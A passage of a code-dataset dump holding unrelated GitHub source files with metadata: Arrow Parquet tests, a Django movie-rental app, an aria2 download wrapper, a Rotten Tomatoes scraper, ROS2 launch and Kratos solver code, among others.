pd.DataFrame({'a': [1, 2, 3]})\n\n filename = tempdir / 'data.parquet'\n _write_table(df, filename)\n\n result = pq.read_pandas(\n 'data.parquet',\n filesystem=SubTreeFileSystem(str(tempdir), LocalFileSystem())\n )\n assert result.equals(pa.table(df))\n\n\n@pytest.mark.pandas\ndef test_read_pandas_map_fields(tempdir):\n # ARROW-10140 - table created from Pandas with mapping fields\n df = pd.DataFrame({\n 'col1': pd.Series([\n [('id', 'something'), ('value2', 'else')],\n [('id', 'something2'), ('value', 'else2')],\n ]),\n 'col2': pd.Series(['foo', 'bar'])\n })\n\n filename = tempdir / 'data.parquet'\n\n udt = pa.map_(pa.string(), pa.string())\n schema = pa.schema([pa.field('col1', udt), pa.field('col2', pa.string())])\n arrow_table = pa.Table.from_pandas(df, schema)\n\n _write_table(arrow_table, filename)\n\n result = pq.read_pandas(filename).to_pandas()\n tm.assert_frame_equal(result, df)\n","repo_name":"apache/arrow","sub_path":"python/pyarrow/tests/parquet/test_pandas.py","file_name":"test_pandas.py","file_ext":"py","file_size_in_byte":25430,"program_lang":"python","lang":"en","doc_type":"code","stars":12777,"dataset":"github-code","pt":"29"} +{"seq_id":"21626753210","text":"import numpy as np\nN = int(input())\na = np.array(list(map(int, input().split())), dtype=int)\nb = a - np.arange(1, N + 1)\nb.sort()\nif N % 2 == 0:\n bb = (b[N // 2 - 1] + b[N // 2]) // 2\nelse:\n bb = b[N // 2]\nprint(np.sum(np.abs(b - bb)))\n","repo_name":"mgmk2/atcoder-python","sub_path":"ABC/102/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"27695968944","text":"import asyncio\nfrom .async_functionality import *\nfrom django.shortcuts import redirect\nfrom django.views.generic.base import View\nfrom django.shortcuts import render\nfrom .models import Movie, Member, Actor\nfrom . import forms\nfrom .forms import UserForm\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.contrib import messages\nimport logging\n\n\nlogger = logging.getLogger('main')\n\n\nclass MoviesView(View):\n context_object_name = 'movie_list'\n\n def get_queryset(self):\n return Movie.objects.all()\n\n def get(self, request):\n logger.info('check MoviesView')\n search_query = request.GET.get('search', '')\n if search_query:\n movies = asyncio.run(get_filtered_movies(search_query))\n else:\n movies = asyncio.run(get_all_movies())\n return render(request, \"movies/movie_index.html\", {\"movie_list\": movies})\n\n\nclass RentView(View):\n def get(self, request):\n logger.info('check RentView')\n movies = asyncio.run(get_all_movies())\n return render(request, 'movies/rent_index.html', {\"data\": movies})\n\n\nclass MovieDetailView(View):\n def get(self, request, id):\n logger.info('check MovieDetailView')\n return render(request, \"movies/details.html\", {\"movie\": asyncio.run(get_movie_by_id(id))})\n\n\nclass MembersView(View):\n def get(self, request):\n logger.info('check MembersView')\n members = asyncio.run(get_all_members())\n return render(request, 'movies/member_index.html', {\"data\": members})\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass MovieRentalView(View):\n def get(self, request):\n logger.info('check MovieRentalView')\n if request.method == \"GET\":\n rent_form = forms.MovieRentalForm()\n return render(request, 'movies/rent_movie.html', {\"rent_form\": rent_form})\n\n def post(self, request):\n logger.info('check MovieRentalView')\n if request.method == \"POST\":\n rent_form = forms.MovieRentalForm(request.POST)\n if rent_form.is_valid():\n rent_form.save()\n success = {\"strong\": \"Have a nice day bro!\"}\n return render(request, \"movies/order_success.html\", {\"success\": success})\n return render(request, \"movies/rent_movie.html\", {\"rent_form\": rent_form})\n rent_form = forms.MovieRentalForm()\n return render(request, 'movies/rent_movie.html', {\"rent_form\": rent_form})\n\n\nclass MoveRentalSuccessView(View):\n def get(self, request):\n if request.method == \"GET\":\n success = {\"strong\": \"Have a nice day bro!\"}\n return render(request, \"movies/order_success.html\", {\"success\": success})\n\n\nclass MemberRentalInfoView(View):\n def get(self, request):\n logger.info('check MovieRentalInfoView')\n members = asyncio.run(get_all_members())\n return render(request, 'movies/member_rental_info.html', {\"members\": members, \"data\": None})\n\n def post(self, request):\n logger.info('check MovieRentalInfoView')\n members = asyncio.run(get_all_members())\n if request.method == \"POST\":\n member_id = int(request.POST.get(\"member\"))\n if member_id:\n selected_member = members.get(id=member_id)\n return render(request, 'movies/member_rental_info.html',\n {\"members\": members, \"data\": selected_member, \"selected_value\": member_id})\n members = asyncio.run(get_all_members())\n return render(request, 'movies/member_rental_info.html', {\"members\": members, \"data\": None})\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass MovieCreateView(View):\n def get(self, request):\n logger.info('check MovieCreateView')\n form = forms.MovieForm()\n return render(request, 'movies/movie_create.html', {\"form\": form})\n\n def post(self, request):\n logger.info('check MovieCreateView')\n if request.method == \"POST\":\n form = forms.MovieForm(request.POST, request.FILES)\n if form.is_valid():\n name = form.cleaned_data['title']\n form.imageURL = form.cleaned_data\n form.save()\n data = {\"strong\": f\"Movie with name {name.title()} created\", \"simple\": \"this movie can now be rented\"}\n return render(request, 'movies/movie_creation_success.html', {\"data\": data})\n return render(request, 'movies/movie_create.html', {\"form\": form})\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass MovieUpdateView(View):\n def get(self, request, id):\n logger.info('check MovieUpdateView')\n form = forms.MovieForm()\n return render(request, 'movies/movie_update.html', {'movie': asyncio.run(get_movie_by_id(id)), 'form': form})\n\n def post(self, request, id):\n logger.info('check MovieUpdateView')\n form = forms.MovieForm(request.POST, instance=asyncio.run(get_movie_by_id(id)))\n if form.is_valid():\n form.save()\n return redirect('/movies/')\n else:\n return request(305)\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass MovieDeleteView(View):\n def get(self, request, id):\n logger.info('check MovieDeleteView')\n return render(request, 'movies/movie_delete.html', {'movie': asyncio.run(get_movie_by_id(id))})\n\n def post(self, request, id):\n logger.info('check MovieDeleteView')\n movie = Movie.objects.get(id=id)\n movie.delete()\n return redirect('/movies/')\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass MemberUpdateView(View):\n def get(self, request, id):\n logger.info('check MemberUpdateView')\n form = forms.MemberForm()\n return render(request, 'movies/member_update.html', {'member': asyncio.run(get_member_by_id(id)), 'form': form})\n\n def post(self, request, id):\n logger.info('check MemberUpdateView')\n form = forms.MemberForm(request.POST or None, instance=asyncio.run(get_member_by_id(id)))\n if form.is_valid():\n form.save()\n return redirect('/members/')\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass MemberDeleteView(View):\n def get(self, request, id):\n logger.info('check MemberDeleteView')\n return render(request, 'movies/member_delete.html', {'member': asyncio.run(get_member_by_id(id))})\n\n def post(self, request, id):\n logger.info('check MemberDeleteView')\n member = Member.objects.get(id=id)\n member.delete()\n return redirect('/members/')\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass MemberCreateView(View):\n def get(self, request):\n logger.info('check MemberCreateView')\n form = forms.MemberForm()\n return render(request, 'movies/member_create.html', {'form': form})\n\n def post(self, request):\n logger.info('check MemberCreateView')\n form = forms.MemberForm(request.POST)\n if form.is_valid():\n name = form.cleaned_data['member_name']\n form.save()\n data = {\"strong\": f\"Member with name {name.title()} created\", \"simple\": \"you can now start renting movies\"}\n return render(request, 'movies/movie_creation_success.html', {\"data\": data})\n return render(request, 'movies/member_create.html', {\"form\": form})\n\n\nclass ActorView(View):\n context_object_name = 'actor_list'\n\n def get_queryset(self):\n return Actor.objects.all()\n\n def get(self, request):\n logger.info('check ActorView')\n actors = asyncio.run(get_all_actors())\n return render(request, 'movies/actor_index.html', {\"actor_list\": actors})\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass ActorCreateView(View):\n def get(self, request):\n logger.info('check ActorCreateView')\n form = forms.ActorForm()\n return render(request, 'movies/actor_create.html', {'form': form})\n\n def post(self, request):\n logger.info('check ActorCreateView')\n form = forms.ActorForm(request.POST, request.FILES)\n if form.is_valid():\n name = form.cleaned_data['name']\n form.save()\n data = {\"strong\": f\"Actor with name {name.title()} created\"}\n return render(request, 'movies/movie_creation_success.html', {'data': data})\n return render(request, 'movies/actor_create.html', {'form': form})\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass ActorDeleteView(View):\n def get(self, request, id):\n logger.info('check ActorDeleteView')\n return render(request, 'movies/actor_delete.html', {'actor': asyncio.run(get_actor_by_id(id))})\n\n def post(self, request, id):\n logger.info('check ActorDeleteView')\n actor = Actor.objects.get(id=id)\n actor.delete()\n return redirect('/actors/')\n\n\n@method_decorator(login_required(login_url='login'), name='get')\nclass ActorUpdateView(View):\n def get(self, request, id):\n logger.info('check ActorUpdateView')\n form = forms.ActorForm()\n return render(request, 'movies/actor_update.html', {'actor': asyncio.run(get_actor_by_id(id)), 'form': form})\n\n def post(self, request, id):\n logger.info('check ActorUpdateView')\n form = forms.ActorForm(request.POST, instance=asyncio.run(get_actor_by_id(id)))\n if form.is_valid():\n form.save()\n return redirect('/actors/')\n\n\nclass RegisterView(View):\n def get(self, request):\n logger.info('check RegisterView')\n if request.user.is_authenticated:\n return redirect('home')\n else:\n form = UserForm()\n context = {'form': form}\n return render(request, 'movies/register.html', context)\n\n def post(self, request):\n logger.info('check RegisterView')\n form = UserForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n messages.success(request, 'Account was successfully created for ' + username)\n\n return redirect('login')\n\n\nclass LoginView(View):\n def get(self, request):\n logger.info('check LoginView')\n if request.user.is_authenticated:\n return redirect('home')\n else:\n context = {}\n return render(request, 'movies/login.html', context)\n\n def post(self, request):\n logger.info('check LoginView')\n username = request.POST.get('username')\n password = request.POST.get('password')\n context = {}\n\n user = authenticate(request, username=username, password=password)\n\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n messages.info(request, 'username or password is wrong')\n return render(request, 'movies/login.html', context)\n\n\nclass LogoutView(View):\n def get(self, request):\n logger.info('check LogoutView')\n logout(request)\n return redirect('home')\n\n\n","repo_name":"QuincyClain/lab_3-4","sub_path":"my_lab/my_lab/apps/movie/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31147131271","text":"# 창고정리(그리디)\nimport sys\nsys.stdin=open(\"C:\\python_lecture\\Python_lecture\\section_4\\input.txt\", \"rt\")\nL=int(input())\nlist=list(map(int, input().split()))\nm=int(input())\nlist.sort()\nfor _ in range(m):\n list[0]+=1\n list[L-1]-=1\n list.sort()\nprint(list[L-1]-list[0])","repo_name":"sdfgx123/Python_lecture","sub_path":"section_4/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33067371703","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.cm as cm\r\nimport os\r\nimport pandas as pd\r\nimport scipy.io as sio\r\nimport cv2\r\nfrom PIL import Image\r\n\r\n\r\n\r\ndef build_density_map(density_map, output_dir, fname):\r\n # 需要加载map.mat\r\n map = sio.loadmat('./map.mat')\r\n map = map['c']\r\n map = map[::-1]\r\n density_map = 255*density_map/np.max(density_map)\r\n new_density = np.ones([density_map.shape[0], density_map.shape[1], 3], dtype=np.float)\r\n\r\n for i in range(density_map.shape[0]):\r\n for j in range(density_map.shape[1]):\r\n new_density[i][j] = map[int(density_map[i][j])]\r\n new_density = np.array(new_density*255)\r\n cv2.imwrite(os.path.join(output_dir, fname), new_density)\r\n\r\n\r\nif __name__ == '__main__': #import时忽略\r\n gt_path = './data/den/'\r\n output_dir = './data/density_map1/'\r\n if not os.path.exists(output_dir):\r\n os.mkdir(output_dir)\r\n gt_files = [filename for filename in os.listdir(gt_path) if os.path.isfile(os.path.join(gt_path, filename))]\r\n for gt_file in gt_files:\r\n output_name = os.path.splitext(gt_file)[0] + '.png'\r\n now_path=os.path.join(gt_path, gt_file)\r\n den=Image.open(now_path)\r\n den=den.convert('L')\r\n den=den.getdata()\r\n den=np.matrix(den,dtype='float')\r\n # den = pd.read_csv(os.path.join(gt_path, gt_file), sep=',', header=None).as_matrix()\r\n build_density_map(den, output_dir, fname=output_name)\r\n","repo_name":"ZhangYW18/OpenCV_Projects","sub_path":"1_density_map/example/density_map.py","file_name":"density_map.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"9735237065","text":"import re\nfrom time import sleep\nfrom timeUtils import clock, elapsed\nfrom ioUtils import saveFile, getFile\nfrom fsUtils import setDir, isDir, mkDir, setFile, isFile, setSubFile\nfrom fileUtils import getBaseFilename\nfrom searchUtils import findSubPatternExt, findPatternExt, findExt\nfrom strUtils import convertCurrency\nfrom webUtils import getWebData, getHTML\nfrom movieDB import movieDB\nfrom os import getcwd\nimport operator\n\n\n##############################################################################################################################\n# Box Office \n##############################################################################################################################\nclass rottentomatoes(movieDB):\n def __init__(self, basedir=None):\n self.name = \"rottentomatoes\"\n movieDB.__init__(self, dbdir=self.name)\n \n \n \n ###########################################################################################################################\n # Get Box Office Weekend Files\n ###########################################################################################################################\n def downloadRottenTomatoesYearlyData(self, year, outdir, debug=False):\n yname = str(year)\n url=\"https://www.rottentomatoes.com/top/bestofrt/?year=\"+yname\n savename = setFile(outdir, \"{0}.p\".format(year))\n if isFile(savename): return\n if debug:\n print(\"Downloading/Saving {0}\".format(savename))\n getWebData(base=url, savename=savename, useSafari=False)\n\n def downloadRottenTomatoesTop100Data(self, genre, outdir, debug=False):\n baseurl=\"https://www.rottentomatoes.com\"\n outdir = setDir(self.getDataDir())\n if not isDir(outdir): mkDir(outdir)\n url = \"/top/bestofrt/top_100_\"+genre+\"_movies/\"\n url = baseurl+url\n savename = setFile(outdir, genre+\".p\")\n if isFile(savename): return\n if debug:\n print(\"Downloading/Saving {0}\".format(savename))\n getWebData(base=url, savename=savename, useSafari=False, dtime=10)\n sleep(2)\n\n\n def getRottenTomatoesYearlyData(self, startYear = 1980, endYear = 2017, debug=False):\n outdir = self.getDataDir()\n if debug:\n print(\"Data Directory: {0}\".format(outdir))\n if not isDir(outdir): mkDir(outdir)\n years = range(int(startYear), int(endYear)+1)\n for year in years:\n self.downloadRottenTomatoesYearlyData(year, outdir, debug)\n \n def getRottenTomatoesGenreData(self, debug=False):\n outdir = self.getDataDir()\n if debug:\n print(\"Data Directory: {0}\".format(outdir))\n if not isDir(outdir): mkDir(outdir)\n genres = [\"action__adventure\", \"animation\", \"art_house__international\", \n \"classics\", \"comedy\", \"documentary\", \"drama\", \"horror\", \n \"kids__family\", \"musical__performing_arts\", \"mystery__suspense\", \n \"romance\", \"science_fiction__fantasy\", \"special_interest\", \n \"sports__fitness\", \"television\", \"western\"]\n\n for genre in genres:\n self.downloadRottenTomatoesTop100Data(genre, outdir, debug)\n \n\n \n \n \n ###########################################################################################################################\n # Parse Box Office Weekend Files\n ###########################################################################################################################\n def merge(self, a, b, path=None):\n \"merges b into a\"\n if path is None: path = []\n for key in b:\n if key in a:\n if isinstance(a[key], dict) and isinstance(b[key], dict):\n self.merge(a[key], b[key], path + [str(key)])\n elif a[key] == b[key]:\n pass # same leaf value\n else:\n raise Exception('Conflict at {0}, {1}'.format(a[key], b[key]))\n else:\n a[key] = b[key]\n return a \n \n def parseRottenTomatoes(self, debug=False):\n outdir = self.getDataDir()\n files = findExt(outdir, ext=\".p\")\n\n movies = {}\n for ifile in files:\n result = self.parseRottenTomatoesFile(ifile, debug=debug)\n for year, yearlyResult in result.items():\n if movies.get(year) is None:\n movies[year] = yearlyResult\n else:\n movies[year] = {**movies[year], **yearlyResult}\n\n yearlyData = {}\n for year in movies.keys():\n yearlyData[year] = sorted(movies[year].items(), key=operator.itemgetter(1), reverse=True)\n print(\"---->\",year,\" (Top 5/{0} Movies) <----\".format(len(yearlyData[year])))\n for item in yearlyData[year][:5]:\n print(item)\n print('\\n')\n\n savename = setFile(self.getResultsDir(), \"rottentomatoes.json\")\n print(\"Saving\",len(yearlyData),\"yearly results to\",savename)\n saveFile(savename, yearlyData)\n\n \n \n def parseRottenTomatoesFile(self, ifile, debug=False):\n movies = {}\n \n if debug:\n print(\"Parsing {0}\".format(ifile))\n htmldata = getFile(ifile)\n bsdata = getHTML(htmldata)\n table = bsdata.find(\"table\", {\"class\": \"table\"})\n if table:\n keys = []\n for tr in table.findAll(\"tr\"):\n if len(keys) == 0:\n for th in tr.findAll(\"th\"):\n key = th.string\n if key == None:\n key = \" \".join([x.string for x in th.findAll(\"span\")])\n keys.append(key)\n #print key\n else:\n line = []\n for i,td in enumerate(tr.findAll(\"td\")):\n #print i,'\\t',td\n if i == 0 or i == 3:\n val = td.string\n if i == 1:\n for span in td.findAll(\"span\"):\n if span.string:\n val = span.string\n break\n if i == 2:\n ref = td.find(\"a\")\n #link = ref.attrs[\"href\"]\n val = ref.string\n\n val = val.strip()\n line.append(val)\n #print i,'\\t',val.strip()\n\n movie = line[2]\n rating = line[1]\n rating = rating.replace(\"%\", \"\")\n rating = int(rating)\n retval = re.search(\"\\((\\d+)\\)\",movie)\n if retval:\n year = retval.group()\n movie = movie.replace(year, \"\").strip()\n year = retval.groups()[0]\n #retval = search(r'(%d+)', movie)\n if movies.get(year) == None:\n movies[year] = {}\n movies[year][movie] = rating\n #print year,'\\t',rating,'\\t',movie\n \n return movies","repo_name":"tgadf/movies","sub_path":"rottentomatoes.py","file_name":"rottentomatoes.py","file_ext":"py","file_size_in_byte":7343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1714318731","text":"import os\n\nimport aria2p\n\nfrom core.middleware.download_provider.provider import DownloadProvider\nfrom core.values import Task\n\n\nclass Aria2Provider(DownloadProvider):\n def __init__(self, host, port, secret):\n self.host = host\n self.port = port\n self.secret = secret\n self.instance = self.load_instance()\n\n def load_instance(self):\n return aria2p.API(aria2p.Client(host=self.host, port=self.port, secret=self.secret))\n\n def is_alive(self) -> bool:\n try:\n self.instance.get_global_options()\n return True\n except Exception as exc:\n return False\n\n def send_general_task(self, task: Task) -> [Task, Exception]:\n try:\n ret = self.instance.add(task.url, options={'dir': task.path})\n task.download_task_id = ret[0].gid\n task.status = ret[0].status\n task.files = ret[0].files\n task.size = ret[0].total_length\n return task\n except Exception as err:\n return err\n\n def create_task(self, task: Task) -> [Task, Exception]:\n if not task.url.startswith('http'):\n return TypeError(\"Aria2 do not support:\" + task.url)\n return self.send_general_task(task)\n\n def query_task(self, task: Task) -> Task:\n try:\n ret = self.instance.get_download(task.download_task_id)\n task.status = ret.status\n task.files = ret.files\n task.size = ret.total_length\n task.progress = ret.progress\n return task\n except Exception as err:\n return err\n print(res)\n\n\nif __name__ == '__main__':\n insatnce = Aria2Provider('http://nas.evell.top', 6800, 'P3TERX')\n # res = insatnce.send_general_task(Task(url='https://www.baidu.com', path='/downloads'))\n # print(dict(res.__dict__))\n res = insatnce.query_task(Task(\n **{'id': '', 'path': '/downloads', 'url': 'https://www.baidu.com', 'content': None, 'status': 'active',\n 'files': [], 'total_length': None, 'download_task_id': 'a24233d61b871c71', 'size': 0}))\n print(dict(res.__dict__))\n","repo_name":"evell1992/statemachine_demo","sub_path":"core/middleware/download_provider/aria2_provider.py","file_name":"aria2_provider.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16742256661","text":"import os\nimport uuid\nfrom mindspore.mindrecord import MindPage, SUCCESS\n\nfrom write_mindrecord import write_mindrecord_tutorial\n\nMINDRECORD_FILE_NAME = \"./imagenet.mindrecord\"\n\ndef search_mindrecord_tutorial():\n reader = MindPage(MINDRECORD_FILE_NAME)\n fields = reader.get_category_fields()\n assert fields == ['file_name', 'label'], \\\n 'failed on getting candidate category fields.'\n\n ret = reader.set_category_field(\"label\")\n assert ret == SUCCESS, 'failed on setting category field.'\n\n info = reader.read_category_info()\n # print(\"category info: {}\".format(info))\n\n row = reader.read_at_page_by_id(0, 0, 1)\n assert len(row) == 1\n assert len(row[0]) == 3\n # print(\"row[0]: {}\".format(row[0]))\n\n row1 = reader.read_at_page_by_name(\"2\", 0, 2)\n assert len(row1) == 2\n assert len(row1[0]) == 3\n # print(\"row1[0]: {}\".format(row1[0]))\n # print(\"row1[1]: {}\".format(row1[1]))\n\nif __name__ == '__main__':\n write_mindrecord_tutorial()\n\n search_mindrecord_tutorial()\n\n os.remove(MINDRECORD_FILE_NAME)\n os.remove(MINDRECORD_FILE_NAME + \".db\")\n","repo_name":"mindspore-ai/book","sub_path":"chapter14/search_mindrecord.py","file_name":"search_mindrecord.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"29"} +{"seq_id":"26392919494","text":"from launch_ros.actions import Node\nfrom launch.actions import IncludeLaunchDescription, ExecuteProcess, Shutdown, DeclareLaunchArgument\nfrom launch import LaunchDescription\nfrom launch_ros.substitutions import FindPackageShare\nfrom launch.substitutions import LaunchConfiguration\nimport os\n\n\ndef generate_launch_description():\n # Set the pkg path\n spawning_pkg_dir = FindPackageShare(package='spawning').find('spawning')\n experiment_pkg_dir = FindPackageShare(package='experiment').find('experiment')\n yolov3_pkg_dir = FindPackageShare(package='recognizer_yolov3').find('recognizer_yolov3')\n\n launch_gazebo_world_cmd = IncludeLaunchDescription(\n os.path.join(spawning_pkg_dir, 'launch', 'launch_gazebo_empty_world.launch.py')\n )\n\n item_name = LaunchConfiguration('item_name')\n declare_spawning_item_name_cmd = DeclareLaunchArgument(\n name='item_name',\n default_value='bus',\n description='The item name we are going to spawn in the gazebo world'\n )\n launch_item_in_gazebo_cmd = IncludeLaunchDescription(\n os.path.join(spawning_pkg_dir, 'launch', 'launch_robot_model.launch.py'),\n launch_arguments={'item_name': item_name}.items()\n )","repo_name":"JeyCTang/ROS_DNN","sub_path":"experiment/launch/launch_experiment.launch.py","file_name":"launch_experiment.launch.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34986059933","text":"from __future__ import print_function, absolute_import, division # makes KratosMultiphysics backward compatible with python 2.6 and 2.7\n\n# Importing the Kratos Library\nimport KratosMultiphysics\n\n# Check that applications were imported in the main script\nKratosMultiphysics.CheckRegisteredApplications(\"StructuralMechanicsApplication\")\n\n# Import applications\nimport KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication\n\n# Other imports\nimport os\n\n\ndef CreateSolver(main_model_part, custom_settings):\n return MechanicalSolver(main_model_part, custom_settings)\n\n\nclass MechanicalSolver(object):\n \"\"\"The base class for structural mechanics solvers.\n\n This class provides functions for importing and exporting models,\n adding nodal variables and dofs and solving each solution step.\n\n Derived classes must override the function _create_solution_scheme which\n constructs and returns a solution scheme. Depending on the type of\n solver, derived classes may also need to override the following functions:\n\n _create_solution_scheme\n _create_convergence_criterion\n _create_linear_solver\n _create_builder_and_solver\n _create_mechanical_solution_strategy\n _create_restart_utility\n\n The mechanical_solution_strategy, builder_and_solver, etc. should alway be retrieved\n using the getter functions get_mechanical_solution_strategy, get_builder_and_solver,\n etc. from this base class.\n\n Only the member variables listed below should be accessed directly.\n\n Public member variables:\n settings -- Kratos parameters containing solver settings.\n main_model_part -- the model part used to construct the solver.\n \"\"\"\n def __init__(self, main_model_part, custom_settings):\n default_settings = KratosMultiphysics.Parameters(\"\"\"\n {\n \"echo_level\": 0,\n \"buffer_size\": 2,\n \"analysis_type\": \"non_linear\",\n \"model_import_settings\": {\n \"input_type\": \"mdpa\",\n \"input_filename\": \"unknown_name\"\n },\n \"restart_settings\" : {\n \"load_restart\" : false,\n \"save_restart\" : false\n },\n \"computing_model_part_name\" : \"computing_domain\",\n \"material_import_settings\" :{\n \"materials_filename\": \"\"\n },\n \"rotation_dofs\": false,\n \"pressure_dofs\": false,\n \"reform_dofs_at_each_step\": false,\n \"line_search\": false,\n \"compute_reactions\": true,\n \"block_builder\": true,\n \"clear_storage\": false,\n \"move_mesh_flag\": true,\n \"multi_point_constraints_used\": false,\n \"convergence_criterion\": \"residual_criterion\",\n \"displacement_relative_tolerance\": 1.0e-4,\n \"displacement_absolute_tolerance\": 1.0e-9,\n \"residual_relative_tolerance\": 1.0e-4,\n \"residual_absolute_tolerance\": 1.0e-9,\n \"max_iteration\": 10,\n \"linear_solver_settings\":{\n \"solver_type\": \"SuperLUSolver\",\n \"max_iteration\": 500,\n \"tolerance\": 1e-9,\n \"scaling\": false,\n \"verbosity\": 1\n },\n \"problem_domain_sub_model_part_list\": [\"solid\"],\n \"processes_sub_model_part_list\": [\"\"],\n \"auxiliary_variables_list\" : []\n }\n \"\"\")\n\n # temporary warnings, to be removed\n if custom_settings.Has(\"bodies_list\"):\n custom_settings.RemoveValue(\"bodies_list\")\n warning = '\\n::[MechanicalSolver]:: W-A-R-N-I-N-G: You have specified \"bodies_list\", '\n warning += 'which is deprecated and will be removed soon. \\nPlease remove it from the \"solver settings\"!\\n'\n self.print_warning_on_rank_zero(\"Bodies list\", warning)\n if custom_settings.Has(\"solver_type\"):\n custom_settings.RemoveValue(\"solver_type\")\n warning = '\\n::[MechanicalSolver]:: W-A-R-N-I-N-G: You have specified \"solver_type\", '\n warning += 'which is only needed if you use the \"python_solvers_wrapper_structural\". \\nPlease remove it '\n warning += 'from the \"solver settings\" if you dont use this wrapper, this check will be removed soon!\\n'\n self.print_warning_on_rank_zero(\"Solver type\", warning)\n if custom_settings.Has(\"time_integration_method\"):\n custom_settings.RemoveValue(\"time_integration_method\")\n warning = '\\n::[MechanicalSolver]:: W-A-R-N-I-N-G: You have specified \"time_integration_method\", '\n warning += 'which is only needed if you use the \"python_solvers_wrapper_structural\". \\nPlease remove it '\n warning += 'from the \"solver settings\" if you dont use this wrapper, this check will be removed soon!\\n'\n self.print_warning_on_rank_zero(\"Time integration method\", warning)\n\n # Overwrite the default settings with user-provided parameters.\n self.settings = custom_settings\n self.settings.ValidateAndAssignDefaults(default_settings)\n\n #TODO: shall obtain the computing_model_part from the MODEL once the object is implemented\n self.main_model_part = main_model_part\n self.print_on_rank_zero(\"::[MechanicalSolver]:: \", \"Construction finished\")\n\n # Set if the analysis is restarted\n if self.settings[\"restart_settings\"].Has(\"load_restart\"):\n load_restart = self.settings[\"restart_settings\"][\"load_restart\"].GetBool()\n self.main_model_part.ProcessInfo[KratosMultiphysics.IS_RESTARTED] = load_restart\n else:\n self.main_model_part.ProcessInfo[KratosMultiphysics.IS_RESTARTED] = False\n\n def AddVariables(self):\n # this can safely be called also for restarts, it is internally checked if the variables exist already\n # Add displacements.\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.DISPLACEMENT)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.REACTION)\n # Add specific variables for the problem conditions.\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.POSITIVE_FACE_PRESSURE)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.NEGATIVE_FACE_PRESSURE)\n self.main_model_part.AddNodalSolutionStepVariable(StructuralMechanicsApplication.POINT_LOAD)\n self.main_model_part.AddNodalSolutionStepVariable(StructuralMechanicsApplication.LINE_LOAD)\n self.main_model_part.AddNodalSolutionStepVariable(StructuralMechanicsApplication.SURFACE_LOAD)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.VOLUME_ACCELERATION)\n if self.settings[\"rotation_dofs\"].GetBool():\n # Add specific variables for the problem (rotation dofs).\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.ROTATION)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.TORQUE)\n self.main_model_part.AddNodalSolutionStepVariable(StructuralMechanicsApplication.POINT_MOMENT)\n if self.settings[\"pressure_dofs\"].GetBool(): # TODO: The creation of UP and USigma elements is pending\n # Add specific variables for the problem (pressure dofs).\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.PRESSURE)\n self.main_model_part.AddNodalSolutionStepVariable(StructuralMechanicsApplication.PRESSURE_REACTION)\n # Add variables that the user defined in the ProjectParameters\n for i in range(self.settings[\"auxiliary_variables_list\"].size()):\n variable_name = self.settings[\"auxiliary_variables_list\"][i].GetString()\n variable = KratosMultiphysics.KratosGlobals.GetVariable(variable_name)\n self.main_model_part.AddNodalSolutionStepVariable(variable)\n self.print_on_rank_zero(\"::[MechanicalSolver]:: \", \"Variables ADDED\")\n\n def GetMinimumBufferSize(self):\n return 2\n\n def AddDofs(self):\n # this can safely be called also for restarts, it is internally checked if the dofs exist already\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.DISPLACEMENT_X, KratosMultiphysics.REACTION_X,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.DISPLACEMENT_Y, KratosMultiphysics.REACTION_Y,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.DISPLACEMENT_Z, KratosMultiphysics.REACTION_Z,self.main_model_part)\n if self.settings[\"rotation_dofs\"].GetBool():\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ROTATION_X, KratosMultiphysics.TORQUE_X,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ROTATION_Y, KratosMultiphysics.TORQUE_Y,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ROTATION_Z, KratosMultiphysics.TORQUE_Z,self.main_model_part)\n if self.settings[\"pressure_dofs\"].GetBool():\n 